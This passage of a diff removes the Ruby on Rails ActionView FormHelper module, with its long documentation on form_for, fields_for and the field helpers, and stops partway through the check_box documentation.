-require 'action_view/helpers/date_helper'
-require 'action_view/helpers/tag_helper'
-require 'action_view/helpers/form_tag_helper'
-require 'action_view/helpers/active_model_helper'
-require 'action_view/helpers/tags'
-require 'action_view/model_naming'
-require 'active_support/core_ext/class/attribute_accessors'
-require 'active_support/core_ext/hash/slice'
-require 'active_support/core_ext/string/output_safety'
-require 'active_support/core_ext/array/extract_options'
-require 'active_support/core_ext/string/inflections'
-
-module ActionView
- # = Action View Form Helpers
- module Helpers
- # Form helpers are designed to make working with resources much easier
- # compared to using vanilla HTML.
- #
- # Typically, a form designed to create or update a resource reflects the
- # identity of the resource in several ways: (i) the url that the form is
- # sent to (the form element's +action+ attribute) should result in a request
- # being routed to the appropriate controller action (with the appropriate <tt>:id</tt>
- # parameter in the case of an existing resource), (ii) input fields should
- # be named in such a way that in the controller their values appear in the
- # appropriate places within the +params+ hash, and (iii) for an existing record,
- # when the form is initially displayed, input fields corresponding to attributes
- # of the resource should show the current values of those attributes.
- #
- # In Rails, this is usually achieved by creating the form using +form_for+ and
- # a number of related helper methods. +form_for+ generates an appropriate <tt>form</tt>
- # tag and yields a form builder object that knows the model the form is about.
- # Input fields are created by calling methods defined on the form builder, which
- # means they are able to generate the appropriate names and default values
- # corresponding to the model attributes, as well as convenient IDs, etc.
- # Conventions in the generated field names allow controllers to receive form data
- # nicely structured in +params+ with no effort on your side.
- #
- # For example, to create a new person you typically set up a new instance of
- # +Person+ in the <tt>PeopleController#new</tt> action, <tt>@person</tt>, and
- # in the view template pass that object to +form_for+:
- #
- # <%= form_for @person do |f| %>
- # <%= f.label :first_name %>:
- # <%= f.text_field :first_name %><br />
- #
- # <%= f.label :last_name %>:
- # <%= f.text_field :last_name %><br />
- #
- # <%= f.submit %>
- # <% end %>
- #
- # The HTML generated for this would be (modulus formatting):
- #
- # <form action="/people" class="new_person" id="new_person" method="post">
- # <div style="margin:0;padding:0;display:inline">
- # <input name="authenticity_token" type="hidden" value="NrOp5bsjoLRuK8IW5+dQEYjKGUJDe7TQoZVvq95Wteg=" />
- # </div>
- # <label for="person_first_name">First name</label>:
- # <input id="person_first_name" name="person[first_name]" type="text" /><br />
- #
- # <label for="person_last_name">Last name</label>:
- # <input id="person_last_name" name="person[last_name]" type="text" /><br />
- #
- # <input name="commit" type="submit" value="Create Person" />
- # </form>
- #
- # As you see, the HTML reflects knowledge about the resource in several spots,
- # like the path the form should be submitted to, or the names of the input fields.
- #
- # In particular, thanks to the conventions followed in the generated field names, the
- # controller gets a nested hash <tt>params[:person]</tt> with the person attributes
- # set in the form. That hash is ready to be passed to <tt>Person.create</tt>:
- #
- # if @person = Person.create(params[:person])
- # # success
- # else
- # # error handling
- # end
- #
- # Interestingly, the exact same view code in the previous example can be used to edit
- # a person. If <tt>@person</tt> is an existing record with name "John Smith" and ID 256,
- # the code above as is would yield instead:
- #
- # <form action="/people/256" class="edit_person" id="edit_person_256" method="post">
- # <div style="margin:0;padding:0;display:inline">
- # <input name="_method" type="hidden" value="put" />
- # <input name="authenticity_token" type="hidden" value="NrOp5bsjoLRuK8IW5+dQEYjKGUJDe7TQoZVvq95Wteg=" />
- # </div>
- # <label for="person_first_name">First name</label>:
- # <input id="person_first_name" name="person[first_name]" type="text" value="John" /><br />
- #
- # <label for="person_last_name">Last name</label>:
- # <input id="person_last_name" name="person[last_name]" type="text" value="Smith" /><br />
- #
- # <input name="commit" type="submit" value="Update Person" />
- # </form>
- #
- # Note that the endpoint, default values, and submit button label are tailored for <tt>@person</tt>.
- # That works that way because the involved helpers know whether the resource is a new record or not,
- # and generate HTML accordingly.
- #
- # The controller would receive the form data again in <tt>params[:person]</tt>, ready to be
- # passed to <tt>Person#update_attributes</tt>:
- #
- # if @person.update_attributes(params[:person])
- # # success
- # else
- # # error handling
- # end
- #
- # That's how you typically work with resources.
- module FormHelper
- extend ActiveSupport::Concern
-
- include FormTagHelper
- include UrlHelper
- include ModelNaming
-
- # Creates a form that allows the user to create or update the attributes
- # of a specific model object.
- #
- # The method can be used in several slightly different ways, depending on
- # how much you wish to rely on Rails to infer automatically from the model
- # how the form should be constructed. For a generic model object, a form
- # can be created by passing +form_for+ a string or symbol representing
- # the object we are concerned with:
- #
- # <%= form_for :person do |f| %>
- # First name: <%= f.text_field :first_name %><br />
- # Last name : <%= f.text_field :last_name %><br />
- # Biography : <%= f.text_area :biography %><br />
- # Admin? : <%= f.check_box :admin %><br />
- # <%= f.submit %>
- # <% end %>
- #
- # The variable +f+ yielded to the block is a FormBuilder object that
- # incorporates the knowledge about the model object represented by
- # <tt>:person</tt> passed to +form_for+. Methods defined on the FormBuilder
- # are used to generate fields bound to this model. Thus, for example,
- #
- # <%= f.text_field :first_name %>
- #
- # will get expanded to
- #
- # <%= text_field :person, :first_name %>
- # which results in an html <tt><input></tt> tag whose +name+ attribute is
- # <tt>person[first_name]</tt>. This means that when the form is submitted,
- # the value entered by the user will be available in the controller as
- # <tt>params[:person][:first_name]</tt>.
- #
- # For fields generated in this way using the FormBuilder,
- # if <tt>:person</tt> also happens to be the name of an instance variable
- # <tt>@person</tt>, the default value of the field shown when the form is
- # initially displayed (e.g. in the situation where you are editing an
- # existing record) will be the value of the corresponding attribute of
- # <tt>@person</tt>.
- #
- # The rightmost argument to +form_for+ is an
- # optional hash of options -
- #
- # * <tt>:url</tt> - The URL the form is to be submitted to. This may be
- # represented in the same way as values passed to +url_for+ or +link_to+.
- # So for example you may use a named route directly. When the model is
- # represented by a string or symbol, as in the example above, if the
- # <tt>:url</tt> option is not specified, by default the form will be
- # sent back to the current url (We will describe below an alternative
- # resource-oriented usage of +form_for+ in which the URL does not need
- # to be specified explicitly).
- # * <tt>:namespace</tt> - A namespace for your form to ensure uniqueness of
- # id attributes on form elements. The namespace attribute will be prefixed
- # with underscore on the generated HTML id.
- # * <tt>:html</tt> - Optional HTML attributes for the form tag.
- #
- # Also note that +form_for+ doesn't create an exclusive scope. It's still
- # possible to use both the stand-alone FormHelper methods and methods
- # from FormTagHelper. For example:
- #
- # <%= form_for :person do |f| %>
- # First name: <%= f.text_field :first_name %>
- # Last name : <%= f.text_field :last_name %>
- # Biography : <%= text_area :person, :biography %>
- # Admin? : <%= check_box_tag "person[admin]", "1", @person.company.admin? %>
- # <%= f.submit %>
- # <% end %>
- #
- # This also works for the methods in FormOptionHelper and DateHelper that
- # are designed to work with an object as base, like
- # FormOptionHelper#collection_select and DateHelper#datetime_select.
- #
- # === #form_for with a model object
- #
- # In the examples above, the object to be created or edited was
- # represented by a symbol passed to +form_for+, and we noted that
- # a string can also be used equivalently. It is also possible, however,
- # to pass a model object itself to +form_for+. For example, if <tt>@post</tt>
- # is an existing record you wish to edit, you can create the form using
- #
- # <%= form_for @post do |f| %>
- # ...
- # <% end %>
- #
- # This behaves in almost the same way as outlined previously, with a
- # couple of small exceptions. First, the prefix used to name the input
- # elements within the form (hence the key that denotes them in the +params+
- # hash) is actually derived from the object's _class_, e.g. <tt>params[:post]</tt>
- # if the object's class is +Post+. However, this can be overwritten using
- # the <tt>:as</tt> option, e.g. -
- #
- # <%= form_for(@person, as: :client) do |f| %>
- # ...
- # <% end %>
- #
- # would result in <tt>params[:client]</tt>.
- #
- # Secondly, the field values shown when the form is initially displayed
- # are taken from the attributes of the object passed to +form_for+,
- # regardless of whether the object is an instance
- # variable. So, for example, if we had a _local_ variable +post+
- # representing an existing record,
- #
- # <%= form_for post do |f| %>
- # ...
- # <% end %>
- #
- # would produce a form with fields whose initial state reflect the current
- # values of the attributes of +post+.
- #
- # === Resource-oriented style
- #
- # In the examples just shown, although not indicated explicitly, we still
- # need to use the <tt>:url</tt> option in order to specify where the
- # form is going to be sent. However, further simplification is possible
- # if the record passed to +form_for+ is a _resource_, i.e. it corresponds
- # to a set of RESTful routes, e.g. defined using the +resources+ method
- # in <tt>config/routes.rb</tt>. In this case Rails will simply infer the
- # appropriate URL from the record itself. For example,
- #
- # <%= form_for @post do |f| %>
- # ...
- # <% end %>
- #
- # is then equivalent to something like:
- #
- # <%= form_for @post, as: :post, url: post_path(@post), method: :put, html: { class: "edit_post", id: "edit_post_45" } do |f| %>
- # ...
- # <% end %>
- #
- # And for a new record
- #
- # <%= form_for(Post.new) do |f| %>
- # ...
- # <% end %>
- #
- # is equivalent to something like:
- #
- # <%= form_for @post, as: :post, url: posts_path, html: { class: "new_post", id: "new_post" } do |f| %>
- # ...
- # <% end %>
- #
- # However you can still overwrite individual conventions, such as:
- #
- # <%= form_for(@post, url: super_posts_path) do |f| %>
- # ...
- # <% end %>
- #
- # You can also set the answer format, like this:
- #
- # <%= form_for(@post, format: :json) do |f| %>
- # ...
- # <% end %>
- #
- # For namespaced routes, like +admin_post_url+:
- #
- # <%= form_for([:admin, @post]) do |f| %>
- # ...
- # <% end %>
- #
- # If your resource has associations defined, for example, you want to add comments
- # to the document given that the routes are set correctly:
- #
- # <%= form_for([@document, @comment]) do |f| %>
- # ...
- # <% end %>
- #
- # Where <tt>@document = Document.find(params[:id])</tt> and
- # <tt>@comment = Comment.new</tt>.
- #
- # === Setting the method
- #
- # You can force the form to use the full array of HTTP verbs by setting
- #
- # method: (:get|:post|:patch|:put|:delete)
- #
- # in the options hash. If the verb is not GET or POST, which are natively
- # supported by HTML forms, the form will be set to POST and a hidden input
- # called _method will carry the intended verb for the server to interpret.
- #
- # === Unobtrusive JavaScript
- #
- # Specifying:
- #
- # remote: true
- #
- # in the options hash creates a form that will allow the unobtrusive JavaScript drivers to modify its
- # behavior. The expected default behavior is an XMLHttpRequest in the background instead of the regular
- # POST arrangement, but ultimately the behavior is the choice of the JavaScript driver implementor.
- # Even though it's using JavaScript to serialize the form elements, the form submission will work just like
- # a regular submission as viewed by the receiving side (all elements available in <tt>params</tt>).
- #
- # Example:
- #
- # <%= form_for(@post, remote: true) do |f| %>
- # ...
- # <% end %>
- #
- # The HTML generated for this would be:
- #
- # <form action='http://www.example.com' method='post' data-remote='true'>
- # <div style='margin:0;padding:0;display:inline'>
- # <input name='_method' type='hidden' value='put' />
- # </div>
- # ...
- # </form>
- #
- # === Setting HTML options
- #
- # You can set data attributes directly by passing in a data hash, but all other HTML options must be wrapped in
- # the HTML key. Example:
- #
- # <%= form_for(@post, data: { behavior: "autosave" }, html: { name: "go" }) do |f| %>
- # ...
- # <% end %>
- #
- # The HTML generated for this would be:
- #
- # <form action='http://www.example.com' method='post' data-behavior='autosave' name='go'>
- # <div style='margin:0;padding:0;display:inline'>
- # <input name='_method' type='hidden' value='put' />
- # </div>
- # ...
- # </form>
- #
- # === Removing hidden model id's
- #
- # The form_for method automatically includes the model id as a hidden field in the form.
- # This is used to maintain the correlation between the form data and its associated model.
- # Some ORM systems do not use IDs on nested models so in this case you want to be able
- # to disable the hidden id.
- #
- # In the following example the Post model has many Comments stored within it in a NoSQL database,
- # thus there is no primary key for comments.
- #
- # Example:
- #
- # <%= form_for(@post) do |f| %>
- # <%= f.fields_for(:comments, include_id: false) do |cf| %>
- # ...
- # <% end %>
- # <% end %>
- #
- # === Customized form builders
- #
- # You can also build forms using a customized FormBuilder class. Subclass
- # FormBuilder and override or define some more helpers, then use your
- # custom builder. For example, let's say you made a helper to
- # automatically add labels to form inputs.
- #
- # <%= form_for @person, url: { action: "create" }, builder: LabellingFormBuilder do |f| %>
- # <%= f.text_field :first_name %>
- # <%= f.text_field :last_name %>
- # <%= f.text_area :biography %>
- # <%= f.check_box :admin %>
- # <%= f.submit %>
- # <% end %>
- #
- # In this case, if you use this:
- #
- # <%= render f %>
- #
- # The rendered template is <tt>people/_labelling_form</tt> and the local
- # variable referencing the form builder is called
- # <tt>labelling_form</tt>.
- #
- # The custom FormBuilder class is automatically merged with the options
- # of a nested fields_for call, unless it's explicitly set.
- #
- # In many cases you will want to wrap the above in another helper, so you
- # could do something like the following:
- #
- # def labelled_form_for(record_or_name_or_array, *args, &proc)
- # options = args.extract_options!
- # form_for(record_or_name_or_array, *(args << options.merge(builder: LabellingFormBuilder)), &proc)
- # end
- #
- # If you don't need to attach a form to a model instance, then check out
- # FormTagHelper#form_tag.
- #
- # === Form to external resources
- #
- # When you build forms to external resources sometimes you need to set an authenticity token or just render a form
- # without it, for example when you submit data to a payment gateway number and types of fields could be limited.
- #
- # To set an authenticity token you need to pass an <tt>:authenticity_token</tt> parameter
- #
- # <%= form_for @invoice, url: external_url, authenticity_token: 'external_token' do |f|
- # ...
- # <% end %>
- #
- # If you don't want to an authenticity token field be rendered at all just pass <tt>false</tt>:
- #
- # <%= form_for @invoice, url: external_url, authenticity_token: false do |f|
- # ...
- # <% end %>
- def form_for(record, options = {}, &proc)
- raise ArgumentError, "Missing block" unless block_given?
-
- options[:html] ||= {}
-
- case record
- when String, Symbol
- object_name = record
- object = nil
- else
- object = record.is_a?(Array) ? record.last : record
- raise ArgumentError, "First argument in form cannot contain nil or be empty" unless object
- object_name = options[:as] || model_name_from_record_or_class(object).param_key
- apply_form_for_options!(record, object, options)
- end
-
- options[:html][:data] = options.delete(:data) if options.has_key?(:data)
- options[:html][:remote] = options.delete(:remote) if options.has_key?(:remote)
- options[:html][:method] = options.delete(:method) if options.has_key?(:method)
- options[:html][:authenticity_token] = options.delete(:authenticity_token)
-
- builder = options[:parent_builder] = instantiate_builder(object_name, object, options)
- fields_for = fields_for(object_name, object, options, &proc)
- default_options = builder.multipart? ? { multipart: true } : {}
- default_options.merge!(options.delete(:html))
-
- form_tag(options.delete(:url) || {}, default_options) { fields_for }
- end
-
- def apply_form_for_options!(record, object, options) #:nodoc:
- object = convert_to_model(object)
-
- as = options[:as]
- action, method = object.respond_to?(:persisted?) && object.persisted? ? [:edit, :patch] : [:new, :post]
- options[:html].reverse_merge!(
- class: as ? "#{action}_#{as}" : dom_class(object, action),
- id: as ? "#{action}_#{as}" : [options[:namespace], dom_id(object, action)].compact.join("_").presence,
- method: method
- )
-
- options[:url] ||= polymorphic_path(record, format: options.delete(:format))
- end
- private :apply_form_for_options!
-
- # Creates a scope around a specific model object like form_for, but
- # doesn't create the form tags themselves. This makes fields_for suitable
- # for specifying additional model objects in the same form.
- #
- # Although the usage and purpose of +field_for+ is similar to +form_for+'s,
- # its method signature is slightly different. Like +form_for+, it yields
- # a FormBuilder object associated with a particular model object to a block,
- # and within the block allows methods to be called on the builder to
- # generate fields associated with the model object. Fields may reflect
- # a model object in two ways - how they are named (hence how submitted
- # values appear within the +params+ hash in the controller) and what
- # default values are shown when the form the fields appear in is first
- # displayed. In order for both of these features to be specified independently,
- # both an object name (represented by either a symbol or string) and the
- # object itself can be passed to the method separately -
- #
- # <%= form_for @person do |person_form| %>
- # First name: <%= person_form.text_field :first_name %>
- # Last name : <%= person_form.text_field :last_name %>
- #
- # <%= fields_for :permission, @person.permission do |permission_fields| %>
- # Admin? : <%= permission_fields.check_box :admin %>
- # <% end %>
- #
- # <%= f.submit %>
- # <% end %>
- #
- # In this case, the checkbox field will be represented by an HTML +input+
- # tag with the +name+ attribute <tt>permission[admin]</tt>, and the submitted
- # value will appear in the controller as <tt>params[:permission][:admin]</tt>.
- # If <tt>@person.permission</tt> is an existing record with an attribute
- # +admin+, the initial state of the checkbox when first displayed will
- # reflect the value of <tt>@person.permission.admin</tt>.
- #
- # Often this can be simplified by passing just the name of the model
- # object to +fields_for+ -
- #
- # <%= fields_for :permission do |permission_fields| %>
- # Admin?: <%= permission_fields.check_box :admin %>
- # <% end %>
- #
- # ...in which case, if <tt>:permission</tt> also happens to be the name of an
- # instance variable <tt>@permission</tt>, the initial state of the input
- # field will reflect the value of that variable's attribute <tt>@permission.admin</tt>.
- #
- # Alternatively, you can pass just the model object itself (if the first
- # argument isn't a string or symbol +fields_for+ will realize that the
- # name has been omitted) -
- #
- # <%= fields_for @person.permission do |permission_fields| %>
- # Admin?: <%= permission_fields.check_box :admin %>
- # <% end %>
- #
- # and +fields_for+ will derive the required name of the field from the
- # _class_ of the model object, e.g. if <tt>@person.permission</tt>, is
- # of class +Permission+, the field will still be named <tt>permission[admin]</tt>.
- #
- # Note: This also works for the methods in FormOptionHelper and
- # DateHelper that are designed to work with an object as base, like
- # FormOptionHelper#collection_select and DateHelper#datetime_select.
- #
- # === Nested Attributes Examples
- #
- # When the object belonging to the current scope has a nested attribute
- # writer for a certain attribute, fields_for will yield a new scope
- # for that attribute. This allows you to create forms that set or change
- # the attributes of a parent object and its associations in one go.
- #
- # Nested attribute writers are normal setter methods named after an
- # association. The most common way of defining these writers is either
- # with +accepts_nested_attributes_for+ in a model definition or by
- # defining a method with the proper name. For example: the attribute
- # writer for the association <tt>:address</tt> is called
- # <tt>address_attributes=</tt>.
- #
- # Whether a one-to-one or one-to-many style form builder will be yielded
- # depends on whether the normal reader method returns a _single_ object
- # or an _array_ of objects.
- #
- # ==== One-to-one
- #
- # Consider a Person class which returns a _single_ Address from the
- # <tt>address</tt> reader method and responds to the
- # <tt>address_attributes=</tt> writer method:
- #
- # class Person
- # def address
- # @address
- # end
- #
- # def address_attributes=(attributes)
- # # Process the attributes hash
- # end
- # end
- #
- # This model can now be used with a nested fields_for, like so:
- #
- # <%= form_for @person do |person_form| %>
- # ...
- # <%= person_form.fields_for :address do |address_fields| %>
- # Street : <%= address_fields.text_field :street %>
- # Zip code: <%= address_fields.text_field :zip_code %>
- # <% end %>
- # ...
- # <% end %>
- #
- # When address is already an association on a Person you can use
- # +accepts_nested_attributes_for+ to define the writer method for you:
- #
- # class Person < ActiveRecord::Base
- # has_one :address
- # accepts_nested_attributes_for :address
- # end
- #
- # If you want to destroy the associated model through the form, you have
- # to enable it first using the <tt>:allow_destroy</tt> option for
- # +accepts_nested_attributes_for+:
- #
- # class Person < ActiveRecord::Base
- # has_one :address
- # accepts_nested_attributes_for :address, allow_destroy: true
- # end
- #
- # Now, when you use a form element with the <tt>_destroy</tt> parameter,
- # with a value that evaluates to +true+, you will destroy the associated
- # model (eg. 1, '1', true, or 'true'):
- #
- # <%= form_for @person do |person_form| %>
- # ...
- # <%= person_form.fields_for :address do |address_fields| %>
- # ...
- # Delete: <%= address_fields.check_box :_destroy %>
- # <% end %>
- # ...
- # <% end %>
- #
- # ==== One-to-many
- #
- # Consider a Person class which returns an _array_ of Project instances
- # from the <tt>projects</tt> reader method and responds to the
- # <tt>projects_attributes=</tt> writer method:
- #
- # class Person
- # def projects
- # [@project1, @project2]
- # end
- #
- # def projects_attributes=(attributes)
- # # Process the attributes hash
- # end
- # end
- #
- # Note that the <tt>projects_attributes=</tt> writer method is in fact
- # required for fields_for to correctly identify <tt>:projects</tt> as a
- # collection, and the correct indices to be set in the form markup.
- #
- # When projects is already an association on Person you can use
- # +accepts_nested_attributes_for+ to define the writer method for you:
- #
- # class Person < ActiveRecord::Base
- # has_many :projects
- # accepts_nested_attributes_for :projects
- # end
- #
- # This model can now be used with a nested fields_for. The block given to
- # the nested fields_for call will be repeated for each instance in the
- # collection:
- #
- # <%= form_for @person do |person_form| %>
- # ...
- # <%= person_form.fields_for :projects do |project_fields| %>
- # <% if project_fields.object.active? %>
- # Name: <%= project_fields.text_field :name %>
- # <% end %>
- # <% end %>
- # ...
- # <% end %>
- #
- # It's also possible to specify the instance to be used:
- #
- # <%= form_for @person do |person_form| %>
- # ...
- # <% @person.projects.each do |project| %>
- # <% if project.active? %>
- # <%= person_form.fields_for :projects, project do |project_fields| %>
- # Name: <%= project_fields.text_field :name %>
- # <% end %>
- # <% end %>
- # <% end %>
- # ...
- # <% end %>
- #
- # Or a collection to be used:
- #
- # <%= form_for @person do |person_form| %>
- # ...
- # <%= person_form.fields_for :projects, @active_projects do |project_fields| %>
- # Name: <%= project_fields.text_field :name %>
- # <% end %>
- # ...
- # <% end %>
- #
- # When projects is already an association on Person you can use
- # +accepts_nested_attributes_for+ to define the writer method for you:
- #
- # class Person < ActiveRecord::Base
- # has_many :projects
- # accepts_nested_attributes_for :projects
- # end
- #
- # If you want to destroy any of the associated models through the
- # form, you have to enable it first using the <tt>:allow_destroy</tt>
- # option for +accepts_nested_attributes_for+:
- #
- # class Person < ActiveRecord::Base
- # has_many :projects
- # accepts_nested_attributes_for :projects, allow_destroy: true
- # end
- #
- # This will allow you to specify which models to destroy in the
- # attributes hash by adding a form element for the <tt>_destroy</tt>
- # parameter with a value that evaluates to +true+
- # (eg. 1, '1', true, or 'true'):
- #
- # <%= form_for @person do |person_form| %>
- # ...
- # <%= person_form.fields_for :projects do |project_fields| %>
- # Delete: <%= project_fields.check_box :_destroy %>
- # <% end %>
- # ...
- # <% end %>
- #
- # When a collection is used you might want to know the index of each
- # object into the array. For this purpose, the <tt>index</tt> method
- # is available in the FormBuilder object.
- #
- # <%= form_for @person do |person_form| %>
- # ...
- # <%= person_form.fields_for :projects do |project_fields| %>
- # Project #<%= project_fields.index %>
- # ...
- # <% end %>
- # ...
- # <% end %>
- #
- # Note that fields_for will automatically generate a hidden field
- # to store the ID of the record. There are circumstances where this
- # hidden field is not needed and you can pass <tt>hidden_field_id: false</tt>
- # to prevent fields_for from rendering it automatically.
- def fields_for(record_name, record_object = nil, options = {}, &block)
- builder = instantiate_builder(record_name, record_object, options)
- output = capture(builder, &block)
- output.concat builder.hidden_field(:id) if output && options[:hidden_field_id] && !builder.emitted_hidden_id?
- output
- end
-
- # Returns a label tag tailored for labelling an input field for a specified attribute (identified by +method+) on an object
- # assigned to the template (identified by +object+). The text of label will default to the attribute name unless a translation
- # is found in the current I18n locale (through helpers.label.<modelname>.<attribute>) or you specify it explicitly.
- # Additional options on the label tag can be passed as a hash with +options+. These options will be tagged
- # onto the HTML as an HTML element attribute as in the example shown, except for the <tt>:value</tt> option, which is designed to
- # target labels for radio_button tags (where the value is used in the ID of the input tag).
- #
- # ==== Examples
- # label(:post, :title)
- # # => <label for="post_title">Title</label>
- #
- # You can localize your labels based on model and attribute names.
- # For example you can define the following in your locale (e.g. en.yml)
- #
- # helpers:
- # label:
- # post:
- # body: "Write your entire text here"
- #
- # Which then will result in
- #
- # label(:post, :body)
- # # => <label for="post_body">Write your entire text here</label>
- #
- # Localization can also be based purely on the translation of the attribute-name
- # (if you are using ActiveRecord):
- #
- # activerecord:
- # attributes:
- # post:
- # cost: "Total cost"
- #
- # label(:post, :cost)
- # # => <label for="post_cost">Total cost</label>
- #
- # label(:post, :title, "A short title")
- # # => <label for="post_title">A short title</label>
- #
- # label(:post, :title, "A short title", class: "title_label")
- # # => <label for="post_title" class="title_label">A short title</label>
- #
- # label(:post, :privacy, "Public Post", value: "public")
- # # => <label for="post_privacy_public">Public Post</label>
- #
- # label(:post, :terms) do
- # 'Accept <a href="/terms">Terms</a>.'.html_safe
- # end
- def label(object_name, method, content_or_options = nil, options = nil, &block)
- Tags::Label.new(object_name, method, self, content_or_options, options).render(&block)
- end
-
- # Returns an input tag of the "text" type tailored for accessing a specified attribute (identified by +method+) on an object
- # assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
- # hash with +options+. These options will be tagged onto the HTML as an HTML element attribute as in the example
- # shown.
- #
- # ==== Examples
- # text_field(:post, :title, size: 20)
- # # => <input type="text" id="post_title" name="post[title]" size="20" value="#{@post.title}" />
- #
- # text_field(:post, :title, class: "create_input")
- # # => <input type="text" id="post_title" name="post[title]" value="#{@post.title}" class="create_input" />
- #
- # text_field(:session, :user, onchange: "if $('#session_user').value == 'admin' { alert('Your login can not be admin!'); }")
- # # => <input type="text" id="session_user" name="session[user]" value="#{@session.user}" onchange = "if $('#session_user').value == 'admin' { alert('Your login can not be admin!'); }"/>
- #
- # text_field(:snippet, :code, size: 20, class: 'code_input')
- # # => <input type="text" id="snippet_code" name="snippet[code]" size="20" value="#{@snippet.code}" class="code_input" />
- def text_field(object_name, method, options = {})
- Tags::TextField.new(object_name, method, self, options).render
- end
-
- # Returns an input tag of the "password" type tailored for accessing a specified attribute (identified by +method+) on an object
- # assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
- # hash with +options+. These options will be tagged onto the HTML as an HTML element attribute as in the example
- # shown. For security reasons this field is blank by default; pass in a value via +options+ if this is not desired.
- #
- # ==== Examples
- # password_field(:login, :pass, size: 20)
- # # => <input type="password" id="login_pass" name="login[pass]" size="20" />
- #
- # password_field(:account, :secret, class: "form_input", value: @account.secret)
- # # => <input type="password" id="account_secret" name="account[secret]" value="#{@account.secret}" class="form_input" />
- #
- # password_field(:user, :password, onchange: "if $('user[password]').length > 30 { alert('Your password needs to be shorter!'); }")
- # # => <input type="password" id="user_password" name="user[password]" onchange = "if $('user[password]').length > 30 { alert('Your password needs to be shorter!'); }"/>
- #
- # password_field(:account, :pin, size: 20, class: 'form_input')
- # # => <input type="password" id="account_pin" name="account[pin]" size="20" class="form_input" />
- def password_field(object_name, method, options = {})
- Tags::PasswordField.new(object_name, method, self, options).render
- end
-
- # Returns a hidden input tag tailored for accessing a specified attribute (identified by +method+) on an object
- # assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
- # hash with +options+. These options will be tagged onto the HTML as an HTML element attribute as in the example
- # shown.
- #
- # ==== Examples
- # hidden_field(:signup, :pass_confirm)
- # # => <input type="hidden" id="signup_pass_confirm" name="signup[pass_confirm]" value="#{@signup.pass_confirm}" />
- #
- # hidden_field(:post, :tag_list)
- # # => <input type="hidden" id="post_tag_list" name="post[tag_list]" value="#{@post.tag_list}" />
- #
- # hidden_field(:user, :token)
- # # => <input type="hidden" id="user_token" name="user[token]" value="#{@user.token}" />
- def hidden_field(object_name, method, options = {})
- Tags::HiddenField.new(object_name, method, self, options).render
- end
-
- # Returns a file upload input tag tailored for accessing a specified attribute (identified by +method+) on an object
- # assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
- # hash with +options+. These options will be tagged onto the HTML as an HTML element attribute as in the example
- # shown.
- #
- # Using this method inside a +form_for+ block will set the enclosing form's encoding to <tt>multipart/form-data</tt>.
- #
- # ==== Options
- # * Creates standard HTML attributes for the tag.
- # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
- # * <tt>:multiple</tt> - If set to true, *in most updated browsers* the user will be allowed to select multiple files.
- # * <tt>:accept</tt> - If set to one or multiple mime-types, the user will be suggested a filter when choosing a file. You still need to set up model validations.
- #
- # ==== Examples
- # file_field(:user, :avatar)
- # # => <input type="file" id="user_avatar" name="user[avatar]" />
- #
- # file_field(:post, :image, :multiple => true)
- # # => <input type="file" id="post_image" name="post[image]" multiple="true" />
- #
- # file_field(:post, :attached, accept: 'text/html')
- # # => <input accept="text/html" type="file" id="post_attached" name="post[attached]" />
- #
- # file_field(:post, :image, accept: 'image/png,image/gif,image/jpeg')
- # # => <input type="file" id="post_image" name="post[image]" accept="image/png,image/gif,image/jpeg" />
- #
- # file_field(:attachment, :file, class: 'file_input')
- # # => <input type="file" id="attachment_file" name="attachment[file]" class="file_input" />
- def file_field(object_name, method, options = {})
- Tags::FileField.new(object_name, method, self, options).render
- end
-
- # Returns a textarea opening and closing tag set tailored for accessing a specified attribute (identified by +method+)
- # on an object assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
- # hash with +options+.
- #
- # ==== Examples
- # text_area(:post, :body, cols: 20, rows: 40)
- # # => <textarea cols="20" rows="40" id="post_body" name="post[body]">
- # # #{@post.body}
- # # </textarea>
- #
- # text_area(:comment, :text, size: "20x30")
- # # => <textarea cols="20" rows="30" id="comment_text" name="comment[text]">
- # # #{@comment.text}
- # # </textarea>
- #
- # text_area(:application, :notes, cols: 40, rows: 15, class: 'app_input')
- # # => <textarea cols="40" rows="15" id="application_notes" name="application[notes]" class="app_input">
- # # #{@application.notes}
- # # </textarea>
- #
- # text_area(:entry, :body, size: "20x20", disabled: 'disabled')
- # # => <textarea cols="20" rows="20" id="entry_body" name="entry[body]" disabled="disabled">
- # # #{@entry.body}
- # # </textarea>
- def text_area(object_name, method, options = {})
- Tags::TextArea.new(object_name, method, self, options).render
- end
-
- # Returns a checkbox tag tailored for accessing a specified attribute (identified by +method+) on an object
- # assigned to the template (identified by +object+). This object must be an instance object (@object) and not a local object.
- # It's intended that +method+ returns an integer and if that integer is above zero, then the checkbox is checked.
- # Additional options on the input tag can be passed as a hash with +options+. The +checked_value+ defaults to 1
- # while the default +unchecked_value+ is set to 0 which is convenient for boolean values.
- #
- # ==== Gotcha
- #
- # The HTML specification says unchecked check boxes are not successful, and
- # thus web browsers do not send them. Unfortunately this introduces a gotcha:
- # if an +Invoice+ model has a +paid+ flag, and in the form that edits a paid
- # invoice the user unchecks its check box, no +paid+ parameter is sent. So,
- # any mass-assignment idiom like
- #
- # @invoice.update_attributes(params[:invoice])
- #
- # wouldn't update the flag.
- #
- # To prevent this the helper generates an auxiliary hidden field before
- # the very check box. The hidden field has the same name and its
- # attributes mimic an unchecked check box.
- #
- # This way, the client either sends only the hidden field (representing
- # the check box is unchecked), or both fields. Since the HTML specification
- # says key/value pairs have to be sent in the same order they appear in the
- # form, and parameters extraction gets the last occurrence of any repeated
- # key in the query string, that works for ordinary forms.
- #
- # Unfortunately that workaround does not work when the check box goes
- # within an array-like parameter, as in
- #
- # <%= fields_for "project[invoice_attributes][]", invoice, index: nil do |form| %>
- # <%= form.check_box :paid %>
- # ...
- # <% end %>
- #
- # because parameter name repetition is precisely what Rails seeks to distinguish
- # the elements of the array. For each item with a checked check box you
- # get an extra ghost item with only that attribute, assigned to "0".
- #
- # In that case it is preferable to either use +check_box_tag+ or to use
- # hashes instead of arrays.
- #
- # # Let's say that @post.validated? is 1:
- # check_box("post", "validated")
- # # => <input name="post[validated]" type="hidden" value="0" />
- # # <input checked="checked" type="checkbox" id="post_validated" name="post[validated]" value="1" />
- #
- # # Let's say that @puppy.gooddog is "no":
- # check_box("puppy", "gooddog", {}, "yes", "no")
- # # => <input name="puppy[gooddog]" type="hidden" value="no" />
